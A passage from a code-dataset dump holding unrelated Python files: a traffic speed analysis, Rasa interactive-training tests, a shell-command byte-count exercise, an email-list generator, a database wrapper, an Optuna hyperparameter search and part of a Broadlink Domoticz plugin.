str(speedFilter) + '_rateUpSpeed.csv'\n # print(dfAll.head())\n # 按照linkID、大车自由流类别、小车自由流类别、时间、车辆类型组,并计算均值\n dfGroup = dfAll.groupby(['linkID', 'car_ff', 'truck_ff', 'min_key', 'vehicle_type'])['speed_sample'].apply(\n lambda x: np.mean(x.tolist()))\n print(dfGroup.head())\n\n # 结果转换为DF\n # dfGroup1 = dfGroup.reset_index() # 如何将groupby之后的groupby对象转化为dataframe\n dfGroup1 = pd.DataFrame(dfGroup)\n print(dfGroup1.head())\n # ### 分组后求大小车提速比例\n dfGroup2 = dfGroup1.groupby(['linkID', 'car_ff', 'truck_ff', 'min_key']).agg(peak_peak)\n dfGroup3 = dfGroup2.reset_index() # 如何将groupby之后的groupby对象转化为dataframe\n\n # dfGroup3.to_csv('E:/CennaviWorkSpace/Jupyter/freeFlowAna/'+city+'/resaaa.csv',index=False,header=None)\n # 过滤NAN数据\n print('dfGroup3')\n print(dfGroup3.head())\n\n dfGroup6 = dfGroup3[np.isnan(dfGroup3['speed_sample']) == False]\n print('dfGroup3-1')\n print(dfGroup3.head())\n if len(dfGroup3) == 0:\n return;\n\n\n dfGroup6 = dfGroup6[dfGroup6['speed_sample'] != 0]\n print('dfGroup6')\n # print(dfGroup6.info())\n print(dfGroup6.head(100))\n if len(dfGroup6) == 0:\n return;\n\n dfGroup6['car_ff_truck_ff_key'] = dfGroup6.apply(lambda row: getCar_ff_truck_ff_key(row['car_ff'], row['truck_ff']),\n axis=1).astype('str')\n\n # 获取所有的自由流分类\n\n dfGroupCar_ff_truck_ff_key = dfGroup6['car_ff_truck_ff_key'].drop_duplicates()\n # dfGroupCar_ff_truck_ff_key\n len(dfGroupCar_ff_truck_ff_key)\n\n # ### 保存每个类别自由流大小车提速比例和核函数图\n\n with open(saveRoidPath, 'w', encoding='utf-8') as fw: # .users是一个临时文件\n for key in dfGroupCar_ff_truck_ff_key:\n try:\n df9_9 = dfGroup6[dfGroup6['car_ff_truck_ff_key'] == key]\n\n rate = stats.mode(df9_9['speed_sample'].tolist())[0][0]\n print(rate)\n fw.write(str(rate) + ',' + str(key))\n fw.write(\"\\n\")\n plt.figure(figsize=(16, 6))\n df9_9['speed_sample'].plot.hist(bins=250, alpha=0.5)\n df9_9['speed_sample'].plot(kind='kde', secondary_y=True)\n plt.rcParams['font.sans-serif'] = ['SimHei'] # 显示中文标签\n plt.rcParams['axes.unicode_minus'] = False\n plt.title('自由流类型: ' + str(key) + ' ' + str(rate)) # 直方图名称\n # plt.xlim(-0.5,5)\n plt.savefig(outJpgPath + str(key) + '.jpg')\n plt.show()\n except:\n print(str(key) + ' ' + str(rate))\n\n print('END')\n\n\ndef main():\n # ### 配置读取文件路径\n # 1.读取大车自由流=小车自由流link\n # 2.读取同根link同分钟不同自由流类别车辆速度数据\n # 3.拼接全linkID\n # city = sys.argv[1]\n\n # baseFile = sys.argv[1] + '/'\n # readFile = sys.argv[2]\n # readFile1 = sys.argv[3]\n # roadClass = sys.argv[4]\n\n baseFile = r'./'\n readFile = r'./ssssssss.csv'\n readFile1 = r'./s2.csv'\n roadClass = '0'\n\n # city = sys.argv[1]\n # baseFile = sys.argv[2] + '/' + city + '/'\n # readFile = baseFile + city + '_1_100.csv'\n # readFile1 = baseFile + city + '_100-end.csv'\n print(baseFile)\n print(readFile)\n print(readFile1)\n dict = {'0': '40_60', '1': '20_40', '2': '15_25', '3': '15_25', '4': '15_25', '6': '10_20'}\n\n classRange = dict[roadClass].split(\"_\")\n classRange = list(map(int, classRange))\n print('start')\n # ### 取同根link同分钟不同自由流类别车辆速度数据,全量 大于100m和小于100m\n names = ['car_ff', 'truck_ff', 'min_key', 'linkID', 'roadClass', 'vehicle_type', 'vehicle_num', 'speed_sample', 'key']\n # if readFile != '00':\n dfAll0 = pd.read_csv(readFile, header=None, names=names)\n # if readFile1 != '00':\n\n dfAll1 = pd.read_csv(readFile1, header=None, names=names)\n # if len(dfAll1) == 0:\n # dfAll = dfAll1\n # else:\n dfAll = dfAll0.append(dfAll1)\n\n # dfAll = dfAll0\n dfAll['linkID'] = dfAll['linkID'].astype('str')\n dfAll.head()\n\n # 过滤速度<40的数据 拥堵\n print('fliter speed <' + str(classRange[0]) + ' start ')\n dfAll35lower = dfAll[\n ((dfAll['vehicle_type'] == 1) & (dfAll['speed_sample'] < classRange[0])) | (dfAll['vehicle_type'] == 0)]\n process(dfAll35lower, '0-' + str(classRange[0]), baseFile)\n print('fliter speed <=' + str(classRange[0]) + ' end ')\n\n print('fliter speed >' + str(classRange[0]) + ' and speed <=' + str(classRange[1]) + ' start ')\n dfAll35lower = dfAll[((dfAll['vehicle_type'] == 1) & (dfAll['speed_sample'] >= classRange[0]) & (\n dfAll['speed_sample'] < classRange[1])) | (dfAll['vehicle_type'] == 0)]\n process(dfAll35lower, str(classRange[0]) + '-' + str(classRange[1]), baseFile)\n print('fliter speed >' + str(classRange[0]) + ' and speed <=' + str(classRange[1]) + ' end ')\n\n # 过滤速度>35的数据\n print('fliter speed >' + str(classRange[1]) + ' start ')\n dfAll35lower = dfAll[\n ((dfAll['vehicle_type'] == 1) & (dfAll['speed_sample'] >= classRange[1])) | (dfAll['vehicle_type'] == 0)]\n process(dfAll35lower, classRange[1], baseFile)\n print('fliter speed >' + str(classRange[1]) + ' end ')\n\n\nif __name__ == '__main__':\n start_time = datetime.datetime.now()\n main()\n end_time = datetime.datetime.now()\n time_cost = end_time - start_time\n print(str(time_cost).split('.')[0])\n","sub_path":"homework/UpSpeedAnalysisPara(1).py","file_name":"UpSpeedAnalysisPara(1).py","file_ext":"py","file_size_in_byte":7072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"99391331","text":"import json\nimport pytest\nimport uuid\nfrom httpretty import httpretty\n\nfrom rasa_core import utils\nfrom rasa_core.training import interactive\nfrom rasa_core.utils import EndpointConfig\nfrom rasa_core.actions.action import default_actions\n\n\n@pytest.fixture\ndef mock_endpoint():\n return EndpointConfig(\"https://abc.defg\")\n\n\ndef test_send_message(mock_endpoint):\n sender_id = uuid.uuid4().hex\n\n url = '{}/conversations/{}/messages'.format(\n mock_endpoint.url, sender_id)\n httpretty.register_uri(httpretty.POST, url, body='{}')\n\n httpretty.enable()\n interactive.send_message(mock_endpoint, sender_id, \"Hello\")\n httpretty.disable()\n\n b = httpretty.latest_requests[-1].body.decode(\"utf-8\")\n assert json.loads(b) == {\n \"sender\": \"user\",\n \"message\": \"Hello\",\n \"parse_data\": None\n }\n\n\ndef test_request_prediction(mock_endpoint):\n sender_id = uuid.uuid4().hex\n\n url = '{}/conversations/{}/predict'.format(\n mock_endpoint.url, sender_id)\n httpretty.register_uri(httpretty.POST, url, body='{}')\n\n httpretty.enable()\n interactive.request_prediction(mock_endpoint, sender_id)\n httpretty.disable()\n\n b = httpretty.latest_requests[-1].body.decode(\"utf-8\")\n assert b == \"\"\n\n\ndef test_bot_output_format():\n message = {\n \"text\": \"Hello!\",\n \"data\": {\n \"image\": \"http://example.com/myimage.png\",\n \"attachment\": \"My Attachment\",\n \"buttons\": [\n {\"title\": \"yes\", \"payload\": \"/yes\"},\n {\"title\": \"no\", \"payload\": \"/no\", \"extra\": \"extra\"}],\n \"elements\": [\n {\"title\": \"element1\", \"buttons\": [\n {\"title\": \"button1\", \"payload\": \"/button1\"}]},\n {\"title\": \"element2\", \"buttons\": [\n {\"title\": \"button2\", \"payload\": \"/button2\"}]}]\n }\n }\n formatted = interactive.format_bot_output(message)\n assert formatted == (\"Hello!\\n\"\n \"Image: http://example.com/myimage.png\\n\"\n \"Attachment: My Attachment\\n\"\n \"Buttons:\\n\"\n \"1: yes (/yes)\\n\"\n \"2: no (/no) - {\\\"extra\\\": \\\"extra\\\"}\\n\"\n \"Elements:\\n\"\n \"1: element1 - {\\\"buttons\\\": \"\n \"[{\\\"payload\\\": \\\"/button1\\\", \\\"title\\\": \\\"button1\\\"}\"\n \"]}\\n\"\n \"2: element2 - {\\\"buttons\\\": \"\n \"[{\\\"payload\\\": \\\"/button2\\\", \\\"title\\\": \\\"button2\\\"}\"\n \"]}\")\n\n\ndef test_latest_user_message():\n tracker_dump = \"data/test_trackers/tracker_moodbot.json\"\n tracker_json = json.loads(utils.read_file(tracker_dump))\n\n m = interactive.latest_user_message(tracker_json.get(\"events\"))\n\n assert m is not None\n assert m[\"event\"] == \"user\"\n assert m[\"text\"] == \"/mood_great\"\n\n\ndef test_latest_user_message_on_no_events():\n m = interactive.latest_user_message([])\n\n assert m is None\n\n\ndef test_all_events_before_user_msg():\n tracker_dump = \"data/test_trackers/tracker_moodbot.json\"\n tracker_json = json.loads(utils.read_file(tracker_dump))\n evts = tracker_json.get(\"events\")\n\n m = interactive.all_events_before_latest_user_msg(evts)\n\n assert m is not None\n assert m == evts[:4]\n\n\ndef test_all_events_before_user_msg_on_no_events():\n assert interactive.all_events_before_latest_user_msg([]) == []\n\n\ndef test_print_history(mock_endpoint):\n tracker_dump = utils.read_file(\n \"data/test_trackers/tracker_moodbot.json\")\n\n sender_id = uuid.uuid4().hex\n\n url = '{}/conversations/{}/tracker'.format(\n mock_endpoint.url, sender_id)\n httpretty.register_uri(httpretty.GET, url, body=tracker_dump)\n\n httpretty.enable()\n interactive._print_history(sender_id, mock_endpoint)\n httpretty.disable()\n\n b = httpretty.latest_requests[-1].body.decode(\"utf-8\")\n assert b == \"\"\n assert (httpretty.latest_requests[-1].path ==\n \"/conversations/{}/tracker?include_events=AFTER_RESTART\"\n \"\".format(sender_id))\n\n\ndef test_is_listening_for_messages(mock_endpoint):\n tracker_dump = utils.read_file(\n \"data/test_trackers/tracker_moodbot.json\")\n\n sender_id = uuid.uuid4().hex\n\n url = '{}/conversations/{}/tracker'.format(\n mock_endpoint.url, sender_id)\n httpretty.register_uri(httpretty.GET, url, body=tracker_dump)\n\n httpretty.enable()\n is_listening = interactive.is_listening_for_message(sender_id,\n mock_endpoint)\n httpretty.disable()\n\n assert is_listening\n\n\ndef test_splitting_conversation_at_restarts():\n tracker_dump = \"data/test_trackers/tracker_moodbot.json\"\n evts = json.loads(utils.read_file(tracker_dump)).get(\"events\")\n evts_wo_restarts = evts[:]\n evts.insert(2, {\"event\": \"restart\"})\n evts.append({\"event\": \"restart\"})\n\n split = interactive._split_conversation_at_restarts(evts)\n assert len(split) == 2\n assert [e for s in split for e in s] == evts_wo_restarts\n assert len(split[0]) == 2\n assert len(split[0]) == 2\n\n\ndef test_as_md_message():\n parse_data = {\n \"text\": \"Hello there rasa.\",\n \"entities\": [{\"start\": 12,\n \"end\": 16,\n \"entity\": \"name\",\n \"value\": \"rasa\"}],\n \"intent\": {\"name\": \"greeting\", \"confidence\": 0.9}\n }\n md = interactive._as_md_message(parse_data)\n assert md == \"Hello there [rasa](name).\"\n\n\ndef test_validate_user_message():\n parse_data = {\n \"text\": \"Hello there rasa.\",\n \"parse_data\": {\n \"entities\": [{\"start\": 12,\n \"end\": 16,\n \"entity\": \"name\",\n \"value\": \"rasa\"}],\n \"intent\": {\"name\": \"greeting\", \"confidence\": 0.9}\n }\n }\n assert interactive._validate_user_regex(parse_data, [\"greeting\", \"goodbye\"])\n assert not interactive._validate_user_regex(parse_data, [\"goodbye\"])\n\n\ndef test_undo_latest_msg(mock_endpoint):\n tracker_dump = utils.read_file(\n \"data/test_trackers/tracker_moodbot.json\")\n tracker_json = json.loads(tracker_dump)\n evts = tracker_json.get(\"events\")\n\n sender_id = uuid.uuid4().hex\n\n url = '{}/conversations/{}/tracker'.format(\n mock_endpoint.url, sender_id)\n replace_url = '{}/conversations/{}/tracker/events'.format(\n mock_endpoint.url, sender_id)\n httpretty.register_uri(httpretty.GET, url, body=tracker_dump)\n httpretty.register_uri(httpretty.PUT, replace_url)\n\n httpretty.enable()\n interactive._undo_latest(sender_id, mock_endpoint)\n httpretty.disable()\n\n b = httpretty.latest_requests[-1].body.decode(\"utf-8\")\n\n # this should be the events the interactive call send to the endpoint\n # these events should have the last utterance omitted\n replaced_evts = json.loads(b)\n assert len(replaced_evts) == 6\n assert replaced_evts == evts[:6]\n\n\ndef test_utter_custom_message():\n test_event = \"\"\"\n {\n \"data\": {\n \"attachment\": null,\n \"buttons\": null,\n \"elements\": [\n {\n \"a\": \"b\"\n }\n ]\n },\n \"event\": \"bot\",\n \"text\": null,\n \"timestamp\": 1542649219.331037\n }\n \"\"\"\n actual = interactive._chat_history_table([json.loads(test_event)])\n\n assert json.dumps({'a': 'b'}) in actual\n\n\ndef test_interactive_domain_persistence(mock_endpoint, tmpdir):\n # Test method interactive._write_domain_to_file\n\n tracker_dump = \"data/test_trackers/tracker_moodbot.json\"\n tracker_json = utils.read_json_file(tracker_dump)\n\n events = tracker_json.get(\"events\", [])\n\n domain_path = tmpdir.join(\"interactive_domain_save.yml\").strpath\n\n url = '{}/domain'.format(mock_endpoint.url)\n httpretty.register_uri(httpretty.GET, url, body='{}')\n\n httpretty.enable()\n interactive._write_domain_to_file(domain_path, events, mock_endpoint)\n httpretty.disable()\n\n saved_domain = utils.read_yaml_file(domain_path)\n\n for default_action in default_actions():\n assert default_action.name() not in saved_domain[\"actions\"]\n","sub_path":"tests/test_interactive.py","file_name":"test_interactive.py","file_ext":"py","file_size_in_byte":8185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"42934526","text":"#Write a script that runs a command and captures the number of bytes in a print statement.\nimport sys\nimport subprocess\n\ndef main():\n file = open('byte_count.txt','w')\n command = input(\"Enter Linux command: \")\n subprocess.call(f\"{command}\",shell=True,stdout=file)\n file = open('byte_count.txt','r')\n print(f'Number of bytes: {byte_count(file.read())}')\n\ndef byte_count(item):\n return sys.getsizeof(item)\n\nmain()","sub_path":"Notes/problem2_byte_count.py","file_name":"problem2_byte_count.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"340006655","text":"\"\"\"\nAuthor: Emir Polat\nDate: 21.11.2020\n\"\"\"\n\nfrom itertools import chain\nimport xlrd\n\ndef ExtractNames():\n file = (your_xlsx_file)\n\n wb = xlrd.open_workbook(file)\n sheet = wb.sheet_by_index(0)\n extension = input(\"Mail Domaini: \")\n\n mails = []\n # Listedeki bütün her şeyi getirerek bir listeye atamak için yapılan döngü\n for i in range(sheet.nrows):\n name = sheet.row_values(i)\n all_surname = name[1]\n all_first_char = list(chain(name[0]))\n all_mails = all_first_char[0] + all_surname + \"@\" + extension\n\n mails.append(all_mails)\n\n with open(\"new_mails.txt\", \"w\") as f:\n for item in mails:\n f.write(\"%s\\n\" % item)\n\n print(\"Bütün mailler şuraya yazıldı: new_mails.txt\")\nExtractNames()\n","sub_path":"mailbul.py","file_name":"mailbul.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"348930212","text":"from importlib import import_module\nfrom sorm.model import Model, ModelMeta\n\n\nclass UnsupportedDatabase(Exception): pass\n\n\nclass Database(object):\n _libraries = {\n 'postgres': 'psycopg2',\n 'mysql': 'pymysql'\n }\n\n _cursor_modules = {\n 'postgres': 'psycopg2.extras',\n 'mysql': 'pymysql.cursors'\n }\n _cursor_params = {\n 'postgres': 'cursor_factory',\n 'mysql': 'cursorclass'\n }\n\n supported_databases = tuple([d for d in _libraries.keys()])\n\n _connection = None\n\n\n def __init__(self, db_type, *args, **kwargs):\n if db_type not in self.supported_databases:\n raise UnsupportedDatabase\n\n self._db_type = db_type\n self._backend = import_module(self._libraries[db_type])\n\n self._connection_args = args\n self._connection_kwargs = kwargs\n\n self._DictCursor = import_module(\n self._cursor_modules[self._db_type]).DictCursor\n self._cursor_kwarg = {\n self._cursor_params[self._db_type]: self._DictCursor}\n\n self.Model = type.__new__(ModelMeta, 'Model', (Model,), {})\n self.Model._db = self\n\n def connect(self, *args, **kwargs):\n if len(args) is 0:\n args = self._connection_args\n if len(kwargs.keys()) is 0:\n kwargs = self._connection_kwargs\n\n self._connection = self._backend.connect(*args, **kwargs)\n\n def close(self):\n if self._connection is not None:\n self._connection.close()\n self._connection = None\n\n @property\n def connection(self):\n if self._connection is None:\n self.connect()\n return self._connection\n\n def cursor(self):\n return self._connection.cursor(self._cursor_kwarg)\n\n def execute_sql(self, sql, input=None, need_commit=False):\n cursor = self.cursor()\n cursor.execute(sql) if input is None else cursor.execute(sql, input)\n cursor.commit() if need_commit else None\n return cursor\n\n def __del__(self):\n self.close()\n","sub_path":"sorm/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"253645143","text":"import argparse\nimport torch\nimport os\nimport optuna\nimport albumentations as A\nimport torch.nn as nn\nfrom train import init_train\nfrom optuna.visualization import *\nfrom plotly.subplots import make_subplots\n\n\nclass HparamStudy:\n def __init__(self, study_name):\n self.study_name = study_name\n\n\n def __call__(self, trial):\n\n torch.cuda.empty_cache()\n\n metric = 0.0\n\n im_sz = trial.suggest_categorical(\"image size\", [(352, 288), (256, 192)])\n #im_sz = (352,288)\n\n cfg = {}\n cfg[\"custom_logdir\"] = os.path.join(self.study_name, f'imsz{im_sz[0]}x{im_sz[1]}')\n cfg[\"dataset\"] = \"TTE\"\n cfg[\"epochs\"] = 60\n cfg[\"image_width\"] = im_sz[0]\n cfg[\"image_height\"] = im_sz[1]\n\n #cr_entr_weights = trial.suggest_categorical(\"cr_entr_weights\", [\"equal\", \"weighted\", \"heavy_weighted\"])\n cr_entr_weights = trial.suggest_categorical(\"cr_entr_weights\", [\"weighted\", \"intuition\"])\n if cr_entr_weights == \"equal\":\n cfg[\"cross_entr_weights\"] = [0.25,0.25,0.25,0.25]\n elif cr_entr_weights == \"weighted\":\n cfg[\"cross_entr_weights\"] = [0.1,0.3,0.3,0.3]\n elif cr_entr_weights == \"heavy_weighted\":\n cfg[\"cross_entr_weights\"] = [0.04,0.32,0.32,0.32]\n elif cr_entr_weights == \"calculated\":\n cfg[\"cross_entr_weights\"] = [0.02857,0.26576,0.2369,0.4688]\n elif cr_entr_weights == \"intuition\":\n cfg[\"cross_entr_weights\"] = [0.1,0.35,0.2,0.35]\n\n\n\n\n #im_sz = trial.suggest_categorical(\"image size\", [(512, 384), (256, 192), (384, 512), (192, 256)])\n\n\n\n model = trial.suggest_categorical(\"model\", [\"unet_multiinp\", \"unet_normal\"])\n cfg[\"model\"] = model\n \n # HYPERPARAMS #\n batch_size = trial.suggest_categorical(\"batch_sz\", [4, 8])\n cfg[\"batch_size\"] = batch_size\n\n learning_rate = trial.suggest_float(\"learning_rate\", 1e-3, 3e-3, log=True)\n cfg[\"learning_rate\"] = learning_rate\n\n cfg[\"lr_patience\"] = 3\n\n channel_ratio = trial.suggest_categorical(\"channel_ratio\", [2.0, 2.4, 2.6, 2.8])\n cfg[\"channel_ratio\"] = channel_ratio\n\n\n # TRANSFORM HP #\n train_transforms = []\n val_transforms = []\n train_transforms.append(A.Resize(im_sz[0],im_sz[1]))\n val_transforms.append(A.Resize(im_sz[0], im_sz[1]))\n\n\n #use_blur = trial.suggest_categorical(\"blur\", [\"gaussian\", \"normal\", \"none\", \"median\"])\n use_blur=False\n if use_blur == \"normal\":\n train_transforms.append(A.Blur(blur_limit=(5,5), always_apply=True))\n val_transforms.append(A.Blur(blur_limit=(5,5), always_apply=True))\n elif use_blur == \"gaussian\":\n train_transforms.append(A.GaussianBlur(blur_limit=(5,5), always_apply=True))\n val_transforms.append(A.GaussianBlur(blur_limit=(5,5), always_apply=True))\n elif use_blur == \"median\":\n train_transforms.append(A.MedianBlur(blur_limit=(5,5), always_apply=True))\n val_transforms.append(A.MedianBlur(blur_limit=(5,5), always_apply=True))\n\n\n\n #use_clahe = trial.suggest_int(\"clahe\", 0, 1)\n use_clahe = False\n if use_clahe:\n train_transforms.append(A.CLAHE (clip_limit=(3.0,3.0), tile_grid_size=(8, 8), always_apply=True))\n val_transforms.append(A.CLAHE (clip_limit=(3.0,3.0), tile_grid_size=(8, 8), always_apply=True))\n\n\n\n use_shift_scale_rotate = trial.suggest_int(\"shift_sc_rot\", 0, 1)\n if use_shift_scale_rotate:\n train_transforms.append(A.ShiftScaleRotate(\n shift_limit=0.0, \n scale_limit=0.05, \n rotate_limit=10, p=0.7))\n\n #use_brightness_contrast = trial.suggest_int(\"contrast\", 0, 1)\n use_brightness_contrast = False\n if use_brightness_contrast:\n train_transforms.append(A.RandomBrightnessContrast (brightness_limit=0.05, contrast_limit=0.05, p=0.6))\n\n\n train_transforms.append(A.Normalize(mean=[0.0],std=[1.0], max_pixel_value=255))\n val_transforms.append(A.Normalize(mean=[0.0],std=[1.0], max_pixel_value=255))\n cfg[\"train_transforms\"] = A.Compose(train_transforms)\n cfg[\"val_transforms\"] = A.Compose(val_transforms)\n\n for key in cfg:\n print(key, cfg[key])\n\n try:\n metric = init_train(cfg)\n except RuntimeError as err:\n #print(err.message)\n if (\"CUDA\" in err.args[0]):\n torch.cuda.empty_cache()\n raise RuntimeError\n else:\n raise RuntimeError\n\n return metric \n\n\n\n\ndef main():\n print(\"Main\")\n\n parser = argparse.ArgumentParser(description='Start hparam search, enter study name for the hparam search')\n parser.add_argument('study_name')\n parser.add_argument('num_trials')\n args = parser.parse_args()\n study_name = args.study_name\n n_trials = int(args.num_trials)\n \n\n\n study = optuna.create_study(direction='maximize')\n study.optimize(\n HparamStudy(study_name), \n n_trials=n_trials, \n catch=(RuntimeError,RuntimeError))\n\n df = study.trials_dataframe()\n df = df.sort_values(\"value\", ascending=False)\n best_hp = df.head(15)\n print(best_hp)\n\n\n study_dir = os.path.join(\"hparam_search\", study_name)\n try:\n os.mkdir(study_dir)\n except: \n pass\n\n best_hp.to_csv(os.path.join(study_dir, \"best_runs.csv\"))\n\n cont = plot_contour(study)\n hist = plot_optimization_history(study)\n parallel = plot_parallel_coordinate(study)\n importance = plot_param_importances(study)\n slice_pl = plot_slice(study)\n\n cont.write_image(os.path.join(study_dir, \"cont.png\"))\n hist.write_image(os.path.join(study_dir, \"hist.png\"))\n parallel.write_image(os.path.join(study_dir, \"parallel.png\"))\n importance.write_image(os.path.join(study_dir, \"importance.png\"))\n slice_pl.write_image(os.path.join(study_dir, \"slice.png\"))\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"machine-learning/ml-projects/stereo-cam-v1/hparam_search.py","file_name":"hparam_search.py","file_ext":"py","file_size_in_byte":6013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"472030261","text":"# Broadlink RM2 Python Plugin for Domoticz\n#\n# Dev. Platform : Win10 x64 & Py 3.5.3 x86\n#\n# Author: zak45, 2017\n# 1.1.0: code compatible py 3.x\n# 2.0.0: import from e-Control or any other ini file with similar structure\n# webserver for file transfer\n# Off action managed for generated devices\n# clean action to erase files from import folder\n\n# Below is what will be displayed in Domoticz GUI under HW\n#\n\"\"\"\n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\"\"\"\n#\n# Main Import\nimport Domoticz\nimport configparser\nimport datetime\nimport time\nimport codecs\nimport subprocess\nimport socket\n#\n#\n# Required to import path is OS dependent\n# Python framework in Domoticz do not include OS dependent path\n#\nimport sys\nimport os \n\nif sys.platform.startswith('linux'):\n # linux specific code here\n sys.path.append(os.path.dirname(os.__file__) + '/dist-packages')\nelif sys.platform.startswith('darwin'):\n # mac\n sys.path.append(os.path.dirname(os.__file__) + '/site-packages')\nelif sys.platform.startswith('win32'):\n # win specific\n sys.path.append(os.path.dirname(os.__file__) + '\\site-packages')\n\n#\nimport broadlink\n\n#\nisConnected = False\nnumberDev = 2\nbypass = False\ntemp = 0\nlearnedCommand = \"None\"\nsendCommand = \"\"\nloadedCommand = \"\"\nnbUpdate = 1\nisRunning = False\ncustom = \"\"\nclear = False\n\n# Domoticz call back functions\n#\n\n# Executed once at HW creation/ update. Can create up to 255 devices.\ndef onStart():\n global numberDev, nbUpdate\n\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Debugging(1)\n if (len(Devices) == 0):\n if Parameters[\"Address\"] == '127.0.0.1' and Parameters[\"Mode1\"] == '000000000000':\n Domoticz.Device(Name=\"Discover\", Unit=1, Type=17, Image=2, Switchtype=17, Used=1).Create()\n \n if ( 1 not in Devices):\n Options = { \"LevelActions\" :\"||||\" , \n \"LevelNames\" :\"Off|Learn|Test|Save|Reset\" ,\n \"LevelOffHidden\":\"true\",\n \"SelectorStyle\" :\"0\"\n } \n Domoticz.Device(Name=\"Command\", Unit=1, TypeName=\"Selector Switch\", Switchtype=18, Image=12, Options=Options, Used=1).Create()\n\n if ( 2 not in Devices and Parameters[\"Mode3\"] == 'yes'):\n Domoticz.Device(Name=\"Temp\", Unit=2, TypeName=\"Temperature\", Used=1).Create()\n\n if ( 255 not in Devices and Parameters[\"Mode4\"] == 'yes'):\n Options = { \"LevelActions\" :\"||||\" , \n \"LevelNames\" :\"Off|WebStart|Generate|Import|Clear\" ,\n \"LevelOffHidden\":\"true\",\n \"SelectorStyle\" :\"0\"\n } \n Domoticz.Device(Name=\"Import\", Unit=255, TypeName=\"Selector Switch\", Switchtype=18, Image=12, Options=Options, Used=1).Create()\n\n DumpConfigToLog()\n Domoticz.Heartbeat(30)\n numberDev = len(Devices)\n\n Domoticz.Log(\"Connecting to: \"+Parameters[\"Address\"]+\":\"+Parameters[\"Mode1\"])\n broadlinkConnect()\n UpdateDevice(1, 0, 'Off')\n if (255 in Devices):\n UpdateDevice(255, 0, 'Off')\n numberDev = numberDev - 1\n\n if not os.path.exists(Parameters[\"Mode2\"] + \"/import\"):\n os.makedirs(Parameters[\"Mode2\"] + \"/import\")\n\n Domoticz.Log(\"Device Number begin to : \"+ str(numberDev))\n\n return True\n\ndef onMessage(Data, Status, Extra): \n Domoticz.Log('onMessage: '+str(Data)+\" ,\"+str(Status)+\" ,\"+str(Extra)) \n return True\n\n# executed each time we click on device thru domoticz GUI\ndef onCommand(Unit, Command, Level, Hue):\n global sendCommand, isRunning, learnedCommand\n\n Domoticz.Log(\"onCommand called for Unit \" + str(Unit) + \": Parameter '\" + str(Command) + \"', Level: \" + str(Level) + \" , Connected : \" + str(isConnected))\n \n Command = Command.strip()\n\n if (Command == 'Set Level'):\n if (Unit == 1): # Command selector\n if (Level == 10): \n learn()\n if (Level == 20): \n sendCommand = learnedCommand\n if learnedCommand == \"None\":\n Domoticz.Log('Nothing to send')\n else:\n send() \n if (Level == 30):\n if learnedCommand == \"None\":\n Domoticz.Log('Nothing to save')\n else:\n custom = \"\"\n if save():\n UpdateDevice(1,0,'Off')\n learnedCommand = \"None\" \n if (Level == 40):\n if learnedCommand == \"None\":\n Domoticz.Log('Nothing to reset')\n else:\n reset()\n elif (Unit == 255):\n if (Level == 10): \n if startWeb():\n isRunning = True\n UpdateDevice(255,1,'10')\n else:\n UpdateDevice(255,0,'Off')\n Domoticz.Error ('Not able to start Web server')\n if (Level == 20): \n if createIniImport():\n UpdateDevice(255,1,'20')\n else:\n UpdateDevice(255,0,'Off')\n Domoticz.Error ('Error with json files to import')\n if (Level == 30): \n clear = False \n if manageIniImport(clear):\n UpdateDevice(255,1,'30')\n else:\n UpdateDevice(255,0,'Off')\n if (Level == 40): \n clear = True \n if manageIniImport(clear):\n UpdateDevice(255,1,'40')\n else:\n UpdateDevice(255,0,'Off')\n else:\n Domoticz.Error('Unit unknown')\n\n elif (Command == 'On'):\n\n if (Unit == 1 and Devices[1].Name.endswith(\"Discover\")): # Discovery\n if Discover(): \n UpdateDevice(Unit, 1, 'Found : ' + str(len(brodevices )) + ' device')\n else:\n Domoticz.Error('Not able to find Broadlink device')\n else:\n genCommand(Unit)\n\n elif (Command == 'Off'):\n\n if (Unit == 1 and Devices[1].Name.endswith(\"Discover\")): # Discovery\n UpdateDevice(Unit, 0, 'Off') \n else: \n try: \n UpdateDevice(Unit, 0, 'Off')\n except:\n Domoticz.Error('Unit error update')\n raise\n else:\n Domoticz.Error('Unknown command')\n\n return True\n\ndef onNotification(Name, Subject, Text, Status, Priority, Sound, ImageFile):\n\n Domoticz.Log(\"Notification: \" + str(Name))\n\n return\n\n# execution depend of Domoticz.Heartbeat(x) x in seconds\ndef onHeartbeat():\n global bypass, isConnected, isRunning\n \n now = datetime.datetime.now()\n\n if (255 in Devices and isRunning == True):\n isAlive()\n \n if bypass is True: \n bypass = False\n return\n\n if Parameters[\"Mode3\"] == \"yes\":\n\n if ((now.minute % 2) == 0):\n bypass = True\n if isConnected:\n if checkTemp():\n UpdateDevice(2, 1, temp)\n else:\n isConnected = False\n else:\n broadlinkConnect()\n else:\n if (now.minute % 5 == 0):\n broadlinkConnect()\n bypass = True\n\n return True\n\ndef onDisconnect():\n Domoticz.Log(\"onDisconnect called\")\n return\n\n# executed once when HW updated/removed\ndef onStop():\n Domoticz.Log(\"onStop called\")\n return True\n\n# Generic helper functions\ndef DumpConfigToLog():\n for x in Parameters:\n if Parameters[x] != \"\":\n Domoticz.Debug( \"'\" + x + \"':'\" + str(Parameters[x]) + \"'\")\n Domoticz.Debug(\"Device count: \" + str(len(Devices)))\n for x in Devices:\n Domoticz.Debug(\"Device: \" + str(x) + \" - \" + str(Devices[x]))\n Domoticz.Debug(\"Device ID: '\" + str(Devices[x].ID) + \"'\")\n Domoticz.Debug(\"Device Name: '\" + Devices[x].Name + \"'\")\n Domoticz.Debug(\"Device nValue: \" + str(Devices[x].nValue))\n Domoticz.Debug(\"Device sValue: '\" + Devices[x].sValue + \"'\")\n Domoticz.Debug(\"Device LastLevel: \" + 